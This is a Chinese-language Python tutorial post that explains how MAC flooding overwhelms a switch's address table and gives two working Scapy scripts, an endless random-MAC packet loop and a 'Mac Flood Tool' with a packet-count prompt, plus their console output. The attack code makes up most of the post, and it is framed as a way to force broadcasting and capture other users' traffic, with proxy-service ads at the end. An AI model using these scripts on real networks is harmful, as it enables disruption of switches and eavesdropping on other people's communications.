使用Python实现MAC泛洪攻击(MAC Flood)

353次阅读
没有评论

1、MAC泛洪攻击的原理

交换机中有一张非常重要的表,叫做mac表,这个表是一个硬件组成的表,主要是完成快速转发。mac表有大小限制,不同的交换机的mac表的大小都有不同,越是高端的交换机的表空间越大,但是作为接入交换机,表空间基本都在8K左右。交换机的一个原理是会自动学习并记录mac地址。而攻击者就利用交换机的mac地址学习机制,不断的进行mac地址刷新,迅速填满交换机的mac地址表,以至崩溃,使交换机不得不使用广播发包,从而获取其他人的报文信息。

使用Python实现MAC泛洪攻击(MAC

2、Python脚本

from scapy.all import *

#定义网卡接口 iface='eth0'

while True: #随机MAC randmac=RandMAC("*:*:*:*:*:*") #随机IP randip=RandIP("*.*.*.*") #构造数据包 packet=Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip)/ICMP() sendp(packet,iface=iface,loop=0)

结果如下:

使用Python实现MAC泛洪攻击(MAC

使用Python实现MAC泛洪攻击(MAC

完善的Python代码

from scapy.all import * import random

#生成随机的MAC def randomMAC(): randmac = RandMAC("*:*:*:*:*:*") return randmac

#生成随机的IP def randomIP(): ip=".".join(map(str,(random.randint(0,255) for i in range(4)))) return ip

#Mac-flood def macFlood(count): total = 0 print("Packets are sending …") for i in range(count): packet = Ether(src=randomMAC(), dst=randomMAC()) / IP(src=randomIP(), dst=randomIP()) / ICMP() sendp(packet, iface='eth0', loop=0) total+=1 print("Total packets sent: %i" % total)

if __name__ == '__main__': print("#" * 30) print("# Welcome to Mac Flood Tool #") print("#" * 30) count = int(input("Please input the number of packets:")) macFlood(count)

结果如下:

root@root:~# python macflood.py ############################## # Welcome to Mac Flood Tool # ############################## Please input the number of packets:10 Packets are sending … . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. Total packets sent: 10

 

神龙|纯净稳定代理IP免费测试>>>>>>>>天启|企业级代理IP免费测试>>>>>>>>IPIPGO|全球住宅代理IP免费测试

相关文章:

版权声明:Python基础教程2022-11-22发表,共计1412字。
新手QQ群:570568346,欢迎进群讨论 Python51学习